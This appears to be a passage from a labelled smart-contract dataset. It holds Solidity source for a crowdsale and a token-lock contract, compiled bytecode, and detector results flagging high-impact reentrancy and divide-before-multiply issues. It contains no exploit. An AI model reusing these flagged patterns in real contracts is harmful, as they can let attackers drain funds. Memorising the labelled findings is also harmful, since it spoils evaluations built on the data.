Token public token;
address public beneficiary = 0x4B97b2938844A775538eF0b75F08648C4BD6fFFA;
Step[] public steps;
uint8 public currentStep = 0;
bool public crowdsaleClosed = false;
bool public crowdsaleRefund = false;
uint public refundedWei;
mapping(address => uint256) public canSell;
mapping(address => uint256) public purchaseBalances;
event Purchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Sell(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Issue(address indexed holder, uint256 tokenAmount);
event Refund(address indexed holder, uint256 etherAmount);
event NextStep(uint8 step);
event CrowdsaleClose();
event CrowdsaleRefund();
function Crowdsale() public {
token = new Token();
steps.push(Step(1 ether / 1000, 5000000 * 1 ether, 0, 0, false, true, false));
steps.push(Step(1 ether / 1000, 10000000 * 1 ether, 0, 0, true, false, false));
steps.push(Step(1 ether / 500, 15000000 * 1 ether, 0, 0, true, false, false));
steps.push(Step(1 ether / 100, 30000000 * 1 ether, 0, 0, true, false, true));
}
function() payable public {
purchase();
}
function setTokenRate(uint _value) onlyOwner whenPaused public {
require(!crowdsaleClosed);
steps[currentStep].priceTokenWei = 1 ether / _value;
}
function purchase() whenNotPaused payable public {
require(!crowdsaleClosed);
require(msg.value >= 0.001 ether);
Step memory step = steps[currentStep];
require(step.purchase);
require(step.tokensSold < step.tokensForSale);
require(token.balanceOf(msg.sender) < 500000 ether);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(step.priceTokenWei);
uint retSum = 0;
uint retAmount;
if(step.tokensSold.add(amount) > step.tokensForSale) {
retAmount = step.tokensSold.add(amount).sub(step.tokensForSale);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
if(token.balanceOf(msg.sender).add(amount) > 500000 ether) {
retAmount = token.balanceOf(msg.sender).add(amount).sub(500000 ether);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
steps[currentStep].tokensSold = step.tokensSold.add(amount);
steps[currentStep].collectedWei = step.collectedWei.add(sum);
purchaseBalances[msg.sender] = purchaseBalances[msg.sender].add(sum);
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
Purchase(msg.sender, amount, sum);
}
function issue(address _to, uint256 _value) onlyOwner whenNotPaused public {
require(!crowdsaleClosed);
Step memory step = steps[currentStep];
require(step.issue);
require(step.tokensSold.add(_value) <= step.tokensForSale);
steps[currentStep].tokensSold = step.tokensSold.add(_value);
canSell[_to] = canSell[_to].add(_value).div(100).mul(20);
token.mint(_to, _value);
Issue(_to, _value);
}
function sell(uint256 _value) whenNotPaused public {
require(!crowdsaleClosed);
require(canSell[msg.sender] >= _value);
require(token.balanceOf(msg.sender) >= _value);
Step memory step = steps[currentStep];
require(step.sale);
canSell[msg.sender] = canSell[msg.sender].sub(_value);
token.burnOwner(msg.sender, _value);
uint sum = _value.mul(step.priceTokenWei).div(1 ether);
msg.sender.transfer(sum);
Sell(msg.sender, _value, sum);
}
function refund() public {
require(crowdsaleRefund);
require(purchaseBalances[msg.sender] > 0);
uint sum = purchaseBalances[msg.sender];
purchaseBalances[msg.sender] = 0;
refundedWei = refundedWei.add(sum);
msg.sender.transfer(sum);
Refund(msg.sender, sum);
}
function nextStep() onlyOwner public {
require(!crowdsaleClosed);
require(steps.length - 1 > currentStep);
currentStep += 1;
NextStep(currentStep);
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(this.balance);
token.mint(beneficiary, token.totalSupply().div(100).mul(65));
token.finishMinting();
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
CrowdsaleClose();
}
function refundCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
crowdsaleRefund = true;
crowdsaleClosed = true;
CrowdsaleRefund();
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806311c15dcc1461013257806338af3eed1461017f5780633f4ba83a146101d457806346d24cbb146101e95780634ba5b7b314610212578063590e1ae31461023f5780635bc34f71146102545780635c975abb1461028357806361241c28146102b057806364edfbf0146102d35780637217e0b9146102dd5780638456cb591461034a578063867904b41461035f57806386d4ff1d146103a15780638da5cb5b146103ee578063983c0a0114610443578063c900072614610458578063ccb07cef1461046d578063d7dd86521461049a578063e4849b32146104af578063f2fde38b146104d2578063fc0c546a1461050b575b610130610560565b005b341561013d57600080fd5b610169600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610da8565b6040518082815260200191505060405180910390f35b341561018a57600080fd5b610192610dc0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101df57600080fd5b6101e7610de6565b005b34156101f457600080fd5b6101fc610ea4565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610225610eaa565b604051808215151515815260200191505060405180910390f35b341561024a57600080fd5b610252610ebd565b005b341561025f57600080fd5b61026761105b565b604051808260ff1660ff16815260200191505060405180910390f35b341561028e57600080fd5b61029661106e565b604051808215151515815260200191505060405180910390f35b34156102bb57600080fd5b6102d16004808035906020019091905050611081565b005b6102db610560565b005b34156102e857600080fd5b6102fe6004808035906020019091905050611160565b6040518088815260200187815260200186815260200185815260200184151515158152602001831515151581526020018215151515815260200197505050505050505060405180910390f35b341561035557600080fd5b61035d6111d8565b005b341561036a57600080fd5b61039f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611298565b005b34156103ac57600080fd5b6103d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611666565b6040518082815260200191505060405180910390f35b34156103f957600080fd5b61040161167e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044e57600080fd5b6104566116a3565b005b341561046357600080fd5b61046b611b51565b005b341561047857600080fd5b610480611c6c565b604051808215151515815260200191505060405180910390f35b34156104a557600080fd5b6104ad611c7f565b005b34156104ba57600080fd5b6104d06004808035906020019091905050611d5a565b005b34156104dd57600080fd5b610509600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121d8565b005b341561051657600080fd5b61051e61232d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105686123e0565b600080600080600060149054906101000a900460ff1615151561058a57600080fd5b600460019054906101000a900460ff161515156105a657600080fd5b66038d7ea4c6800034101515156105bc57600080fd5b6003600460009054906101000a900460ff1660ff168154811015156105dd57fe5b906000526020600020906005020160e06040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff161515151581526020016004820160019054906101000a900460ff161515151581526020016004820160029054906101000a900460ff16151515158152505094508460800151151561068257600080fd5b8460200151856040015110151561069857600080fd5b6969e10de76676d0800000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561076857600080fd5b6102c65a03f1151561077957600080fd5b5050506040518051905010151561078f57600080fd5b3493506107c385600001516107b5670de0b6b3a76400008761235390919063ffffffff16565b61238e90919063ffffffff16565b92506000915084602001516107e58487604001516123a990919063ffffffff16565b111561087857610818856020015161080a8588604001516123a990919063ffffffff16565b6123c790919063ffffffff16565b905061084b670de0b6b3a764000061083d87600001518461235390919063ffffffff16565b61238e90919063ffffffff16565b915061086081846123c790919063ffffffff16565b925061087582856123c790919063ffffffff16565b93505b6969e10de76676d080000061097584600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561094c57600080fd5b6102c65a03f1151561095d57600080fd5b505050604051805190506123a990919063ffffffff16565b1115610ae957610a896969e10de76676d0800000610a7b85600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a5257600080fd5b6102c65a03f11515610a6357600080fd5b505050604051805190506123a990919063ffffffff16565b6123c790919063ffffffff16565b9050610abc670de0b6b3a7640000610aae87600001518461235390919063ffffffff16565b61238e90919063ffffffff16565b9150610ad181846123c790919063ffffffff16565b9250610ae682856123c790919063ffffffff16565b93505b610b008386604001516123a990919063ffffffff16565b6003600460009054906101000a900460ff1660ff16815481101515610b2157fe5b906000526020600020906005020160020181905550610b4d8486606001516123a990919063ffffffff16565b6003600460009054906101000a900460ff1660ff16815481101515610b6e57fe5b906000526020600020906005020160030181905550610bd584600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ce557600080fd5b6102c65a03f11515610cf657600080fd5b50505060405180519050506000821115610d4b573373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610d4a57600080fd5b5b3373ffffffffffffffffffffffffffffffffffffffff167f12cb4648cf3058b17ceeb33e579f8b0bc269fe0843f3900b8e24b6c54871703c8486604051808381526020018281526020019250505060405180910390a25050505050565b60076020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4157600080fd5b600060149054906101000a900460ff161515610e5c57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60055481565b600460029054906101000a900460ff1681565b6000600460029054906101000a900460ff161515610eda57600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610f2857600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc4816005546123a990919063ffffffff16565b6005819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561100a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d826040518082815260200191505060405180910390a250565b600460009054906101000a900460ff1681565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110dc57600080fd5b600060149054906101000a900460ff1615156110f757600080fd5b600460019054906101000a900460ff1615151561111357600080fd5b80670de0b6b3a764000081151561112657fe5b046003600460009054906101000a900460ff1660ff1681548110151561114857fe5b90600052602060002090600502016000018190555050565b60038181548110151561116f57fe5b90600052602060002090600502016000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900460ff16908060040160019054906101000a900460ff16908060040160029054906101000a900460ff16905087565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123357600080fd5b600060149054906101000a900460ff1615151561124f57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6112a06123e0565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112fb57600080fd5b600060149054906101000a900460ff1615151561131757600080fd5b600460019054906101000a900460ff1615151561133357600080fd5b6003600460009054906101000a900460ff1660ff1681548110151561135457fe5b906000526020600020906005020160e06040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff161515151581526020016004820160019054906101000a900460ff161515151581526020016004820160029054906101000a900460ff16151515158152505090508060a0015115156113f957600080fd5b80602001516114158383604001516123a990919063ffffffff16565b1115151561142257600080fd5b6114398282604001516123a990919063ffffffff16565b6003600460009054906101000a900460ff1660ff1681548110151561145a57fe5b9060005260206000209060050201600201819055506114e760146114d960646114cb86600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a990919063ffffffff16565b61238e90919063ffffffff16565b61235390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156115f757600080fd5b6102c65a03f1151561160857600080fd5b50505060405180519050508273ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16836040518082815260200191505060405180910390a2505050565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116fe57600080fd5b600460019054906101000a900460ff1615151561171a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561179357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166118c360416118b56064600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561188c57600080fd5b6102c65a03f1151561189d57600080fd5b5050506040518051905061238e90919063ffffffff16565b61235390919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561195057600080fd5b6102c65a03f1151561196157600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156119fa57600080fd5b6102c65a03f11515611a0b57600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515611af457600080fd5b6102c65a03f11515611b0557600080fd5b5050506001600460016101000a81548160ff0219169083151502179055507f587261db95996a4ec51ca62d662d1f046a5e62831eb4ae0b8cd974da5673fbf060405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bac57600080fd5b600460019054906101000a900460ff16151515611bc857600080fd5b600460009054906101000a900460ff1660ff16600160038054905003111515611bf057600080fd5b6001600460008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055507f4d3cfbcd7da61e25bfda6ef2a73e71b189eb3a19824d4b3dda53e85d307a5005600460009054906101000a900460ff16604051808260ff1660ff16815260200191505060405180910390a1565b600460019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cda57600080fd5b600460019054906101000a900460ff16151515611cf657600080fd5b6001600460026101000a81548160ff0219169083151502179055506001600460016101000a81548160ff0219169083151502179055507fbdffce6c573d08e652a091ca784f0430c929c6b644d9a95dcf5028d7d365d6e160405160405180910390a1565b611d626123e0565b60008060149054906101000a900460ff16151515611d7f57600080fd5b600460019054906101000a900460ff16151515611d9b57600080fd5b82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611de957600080fd5b82600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611eaf57600080fd5b6102c65a03f11515611ec057600080fd5b5050506040518051905010151515611ed757600080fd5b6003600460009054906101000a900460ff1660ff16815481101515611ef857fe5b906000526020600020906005020160e06040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff161515151581526020016004820160019054906101000a900460ff161515151581526020016004820160029054906101000a900460ff16151515158152505091508160c001511515611f9d57600080fd5b611fef83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6c0525533856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156120f657600080fd5b6102c65a03f1151561210757600080fd5b50505061213b670de0b6b3a764000061212d84600001518661235390919063ffffffff16565b61238e90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561217d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a8483604051808381526020018281526020019250505060405180910390a2505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561223357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561226f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008414156123685760009150612387565b828402905082848281151561237957fe5b0414151561238357fe5b8091505b5092915050565b600080828481151561239c57fe5b0490508091505092915050565b60008082840190508381101515156123bd57fe5b8091505092915050565b60008282111515156123d557fe5b818303905092915050565b60e0604051908101604052806000815260200160008152602001600081526020016000815260200160001515815260200160001515815260200160001515815250905600a165627a7a723058200fe8c76c3a1e3b80fb6356c1759a2bbe1e153b7b34e12bef3c400a516647a5820029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,725 |
0x05c8af707eedcbe932816324dcc11e7f50c6e99c
|
/**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
/* getRoundData and latestRoundData should both raise "No data present" */
/* if they do not have data to report, instead of returning unset values */
/* which could be misinterpreted as actual reported values. */
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
/* Token Contract call and send Functions */
interface Token {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function approveAndCall(address spender, uint tokens, bytes memory data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = payable(msg.sender);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract LockNLoad is Ownable{
using SafeMath for uint256;
/* Deposit Variables */
struct Items {
address tokenAddress;
address withdrawalAddress;
uint256 tokenAmount;
uint256 unlockTime;
bool withdrawn;
}
uint256 public depositId;
uint256[] public allDepositIds;
mapping (address => uint256[]) public depositsByWithdrawalAddress;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
mapping(address => bool) public premiumMember;
bool public premium = true;
int private feerate = 1;
uint256 systemFeeCollected;
event LogWithdrawal(address SentToAddress, uint256 AmountTransferred);
AggregatorV3Interface internal priceFeed;
constructor() {
priceFeed = AggregatorV3Interface(0x773616E4d11A78F511299002da57A0a94577F1f4);
}
/* Calculate 1$ Price from Blockchain */
function getLatestPrice() public view returns (uint256) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return uint256(price);
}
/* Calculate the original Fee */
function getSystemFees() public view returns (uint256) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return uint256(price*feerate);
}
/* Calculate Price for Multiple Locks */
function getSystemFeesBatch(uint256 _totalBatch) public view returns (uint256) {
return(getSystemFees()*_totalBatch);
}
/* Lock the Tokens */
function lockTokens(address _tokenAddress, address _withdrawalAddress, uint256 _amount, uint256 _unlockTime) public payable returns (uint256 _id) {
require(_amount > 0);
require(_unlockTime < 10000000000);
uint256 fee = getSystemFees();
if(premium){
if(!premiumMember[_withdrawalAddress]){
require(msg.value>=fee,"System Fee Required");
payable(owner).transfer(msg.value);
systemFeeCollected = systemFeeCollected + msg.value;
}
}
/* update balance in address */
walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(_amount);
_id = ++depositId;
lockedToken[_id].tokenAddress = _tokenAddress;
lockedToken[_id].withdrawalAddress = _withdrawalAddress;
lockedToken[_id].tokenAmount = _amount;
lockedToken[_id].unlockTime = _unlockTime;
lockedToken[_id].withdrawn = false;
allDepositIds.push(_id);
depositsByWithdrawalAddress[_withdrawalAddress].push(_id);
/* transfer tokens into contract */
require(Token(_tokenAddress).transferFrom(msg.sender, address(this), _amount));
}
/* Create Multiple Locks */
function createMultipleLocks(address _tokenAddress, address _withdrawalAddress, uint256[] memory _amounts, uint256[] memory _unlockTimes) public payable returns (uint256 _id) {
require(_amounts.length > 0);
require(_amounts.length == _unlockTimes.length);
uint256 fee = getSystemFees() * _amounts.length;
if(premium){
if(!premiumMember[_withdrawalAddress]){
require(msg.value>=fee,"System Fee Required");
payable(owner).transfer(msg.value);
systemFeeCollected = systemFeeCollected + msg.value;
}
}
uint256 i;
for(i=0; i<_amounts.length; i++){
require(_amounts[i] > 0);
require(_unlockTimes[i] < 10000000000);
/* update balance in address */
walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(_amounts[i]);
_id = ++depositId;
lockedToken[_id].tokenAddress = _tokenAddress;
lockedToken[_id].withdrawalAddress = _withdrawalAddress;
lockedToken[_id].tokenAmount = _amounts[i];
lockedToken[_id].unlockTime = _unlockTimes[i];
lockedToken[_id].withdrawn = false;
allDepositIds.push(_id);
depositsByWithdrawalAddress[_withdrawalAddress].push(_id);
/* transfer tokens into contract */
require(Token(_tokenAddress).transferFrom(msg.sender, address(this), _amounts[i]));
}
}
/* Extend the Lock Duration */
function extendLockDuration(uint256 _id, uint256 _unlockTime) public {
require(_unlockTime < 10000000000);
require(_unlockTime > lockedToken[_id].unlockTime);
require(!lockedToken[_id].withdrawn);
require(msg.sender == lockedToken[_id].withdrawalAddress);
/* set new unlock time */
lockedToken[_id].unlockTime = _unlockTime;
}
/* Transfer the Locked Tokens */
function transferLocks(uint256 _id, address _receiverAddress) public {
require(!lockedToken[_id].withdrawn);
require(msg.sender == lockedToken[_id].withdrawalAddress);
/* decrease sender's token balance */
walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount);
/* increase receiver's token balance */
walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress] = walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress].add(lockedToken[_id].tokenAmount);
/* remove this id from sender address */
uint256 j;
uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length;
for (j=0; j<arrLength; j++) {
if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) {
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1];
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop();
break;
}
}
/* Assign this id to receiver address */
lockedToken[_id].withdrawalAddress = _receiverAddress;
depositsByWithdrawalAddress[_receiverAddress].push(_id);
}
/* Withdraw Tokens */
function withdrawTokens(uint256 _id) public {
require(block.timestamp >= lockedToken[_id].unlockTime);
require(msg.sender == lockedToken[_id].withdrawalAddress);
require(!lockedToken[_id].withdrawn);
lockedToken[_id].withdrawn = true;
/* update balance in address */
walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount);
/* remove this id from this address */
uint256 j;
uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length;
for (j=0; j<arrLength; j++) {
if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) {
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1];
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop();
break;
}
}
/* transfer tokens to wallet address */
require(Token(lockedToken[_id].tokenAddress).transfer(msg.sender, lockedToken[_id].tokenAmount));
emit LogWithdrawal(msg.sender, lockedToken[_id].tokenAmount);
}
/* Get Total Token Balance in Contract */
function getTotalTokenBalance(address _tokenAddress) view public returns (uint256)
{
return Token(_tokenAddress).balanceOf(address(this));
}
/* Get Total Token Balance by Address */
function getTokenBalanceByAddress(address _tokenAddress, address _walletAddress) view public returns (uint256)
{
return walletTokenBalance[_tokenAddress][_walletAddress];
}
/* Get All Deposit IDs */
function getAllDepositIds() view public returns (uint256[] memory)
{
return allDepositIds;
}
/* Get Deposit Details */
function getDepositDetails(uint256 _id) view public returns (address _tokenAddress, address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn)
{
return(lockedToken[_id].tokenAddress,lockedToken[_id].withdrawalAddress,lockedToken[_id].tokenAmount,
lockedToken[_id].unlockTime,lockedToken[_id].withdrawn);
}
/* Get Deposit Details by Withdrawal Address */
function getDepositsByWithdrawalAddress(address _withdrawalAddress) view public returns (uint256[] memory)
{
